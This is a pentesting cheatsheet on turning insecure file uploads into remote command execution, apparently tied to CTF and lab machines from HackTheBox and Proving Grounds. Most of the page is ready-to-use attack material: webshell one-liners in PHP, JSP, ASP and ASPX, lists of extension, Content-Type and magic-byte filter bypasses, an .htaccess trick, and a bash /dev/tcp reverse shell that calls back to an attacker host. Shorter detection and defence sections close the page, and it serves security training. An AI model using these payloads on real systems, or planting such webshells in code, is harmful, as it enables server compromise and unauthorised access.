File Upload to RCE
Full command arsenal in the cheatsheetWhen a web application allows file uploads and does not properly validate what is uploaded or where it ends up, an attacker can place a server-executable file (typically a .php if the backend is PHP) and then request it over HTTP so the server runs it. The result is remote command execution (RCE) with the web process's privileges (often www-data). Most of the work is bypassing the validation: extension, Content-Type, magic bytes or the destination directory.
Webshells by language
The minimal payload is a webshell that runs whatever arrives in a parameter. Depending on the stack:
<?php system($_GET['cmd']); ?> // PHP
<?php echo shell_exec($_GET['c']); ?> // PHP (variant)<% Runtime.getRuntime().exec(request.getParameter("c")); %> <!-- JSP -->
<% eval request("c") %> <!-- classic ASP -->
<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd","/c "+Request["c"]); %> <!-- ASPX -->Extension validation bypass
If they filter .php, try variants until one is served as PHP:
shell.phtml shell.php3 shell.php4 shell.php5 shell.php7 shell.pht shell.phar
shell.pHp # mixed case (case-sensitive filter)
shell.php.jpg # double extension (if it takes the first)
shell.jpg.php # double extension (if it takes the last)
shell.php%00.jpg # null byte (old PHP/libraries)
shell.php. # trailing dot / space (Windows trims them)
shell.php;.jpg # semicolon (old IIS)
shell.php:.jpg # NTFS ADS (IIS)
shell.php/ # trailing slashContent-Type and magic-bytes bypass
If they validate the declared type or the content, spoof it:
# in the multipart, change the file part's Content-Type
Content-Type: image/png # even though the content is PHP
# prepend the magic bytes of a real image and put the PHP after
GIF89a;<?php system($_GET['cmd']); ?> # valid GIF header + PHP codeSee Content-Type bypass and magic-bytes bypass.
.htaccess / web.config trick
If only "harmless" extensions can be uploaded, sometimes you upload a .htaccess (Apache) that makes an allowed extension execute as PHP, or a web.config (IIS):
# .htaccess uploaded into the directory: treat .jpg as PHP
AddType application/x-httpd-php .jpgUnauthenticated case
In the worst cases the upload requires no authentication, like Chamilo LMS's bigUpload flaw, which accepts files at bigUpload.php?action=post-unsupported and leaves them in a public files/ directory:
curl 'http://lms.permx.htb/.../bigupload/files/webshell.php?cmd=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)From webshell to reverse shell
nc -lvnp <lport> # local listener
# cmd= (URL-encoded): bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'
curl 'http://<ip>/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<lhost>%2F<lport>%200%3E%261%27'How to detect it. The attack has two very visible moments. The upload is a multipart POST with a file of an executable extension (.php, .phtml, .jsp, .aspx) or a double extension (.php.jpg), flaggable by a WAF. The execution is the most telling: a GET to a freshly uploaded file under uploads//files/ followed by parameters like ?cmd=id, where that file did not exist before in the access log. On the host, the gold-standard signature is process lineage: www-data/apache spawning sh/bash/nc/id, something a healthy web server never does. A FIM watching the uploads directory alerts the moment a new .php (or a new .htaccess) appears. The follow-up reverse shell adds an outbound connection from the web process.
Defence. Validate file type by content and not just by extension (allow-list, not deny-list), store uploads outside the web root (or on a domain with no script execution), rename to a random name without a dangerous extension, forbid .htaccess/web.config in the uploads directory and keep third-party software updated. It is often combined with discovering the subdomain that hosts the vulnerable application and with uploads via WebDAV (PUT + MOVE).
Machines where it's used
- AccessProving Grounds Practice
- AuthByProving Grounds Practice
- BBSecuteProving Grounds Play
- BigPivotingDockerLabs
- BitforgeProving Grounds Practice
- BountyHackTheBox
- BuffHackTheBox
- ChocolateLoversDockerLabs
- CraftProving Grounds Practice
- DevelHackTheBox
- DomainDockerLabs
- ExtplorerProving Grounds Practice
- GrannyHackTheBox
- GreenHornHackTheBox
- LolyProving Grounds Play
- MzeeavProving Grounds Practice
- NukemProving Grounds Practice
- PandoraHackTheBox
- PayDayProving Grounds Practice
- PermXHackTheBox
- SPXProving Grounds Practice
- SquashedHackTheBox
- SwagShopHackTheBox
- VmdakProving Grounds Practice
- ZenPhotoProving Grounds Practice